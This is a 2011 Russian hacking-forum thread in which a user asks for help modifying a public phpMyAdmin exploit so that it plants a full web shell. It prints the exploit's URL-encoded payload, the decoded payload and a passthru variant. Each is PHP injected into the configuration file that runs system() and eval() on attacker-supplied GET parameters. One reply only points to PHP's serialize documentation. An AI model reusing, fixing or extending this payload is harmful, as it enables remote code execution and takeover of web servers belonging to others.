Помогите разобраться с работой сплойта phpmyadmin

Discussion in 'Песочница' started by Bigmanhlo, 4 Jul 2011.

  1. Bigmanhlo

    Bigmanhlo New Member

    Joined:
    9 May 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Вообщем суть такова. Вот сплойт http://www.exploit-db.com/download/8921/.
    По сути мне нужно сделать так чтобы, чтобы этот эксплойт мне залил полноценный шелл. Но столкнулся с рядом проблемм.
    Вот шифрованный код.
    PHP:
    %27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3bsystem(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}
    Вот рассшифрованный
    PHP:
    '; if($_GET['c']){echo '<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo '<pre>';eval($_GET['p']);echo '</pre>';};//'] = 'localhost';
    Но даже для примера просто пробую поменять в коде passthru вместо system. И сплойт не пишет пхп код в конфиг. Хоть что, изменяешь в коде, он перестаёт писать в конфиг, даже простой метод в место GET, ставлю POST. И уже мой пхп код, не пишеться в конфиг.
    PHP:
    %27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3bpassthru(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}
    Что мне конкретно надо? Чтобы вшить в сплойт полноценный шелл, и он мне залил его. Но я не могу понять толи какие то ограничения по символам толи что, подсказывайте :). Другие сплойты не предлагать, запись в конфиг есть, но мне надо конретно сделать тот вопрос, о котором спросил, других альтернатих не предлагайте, нужно именно этот пример. Спасибо :)
     
    #1 Bigmanhlo, 4 Jul 2011
    Last edited: 4 Jul 2011
  2. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    почитай сначала
    http://php.net/manual/ru/function.serialize.php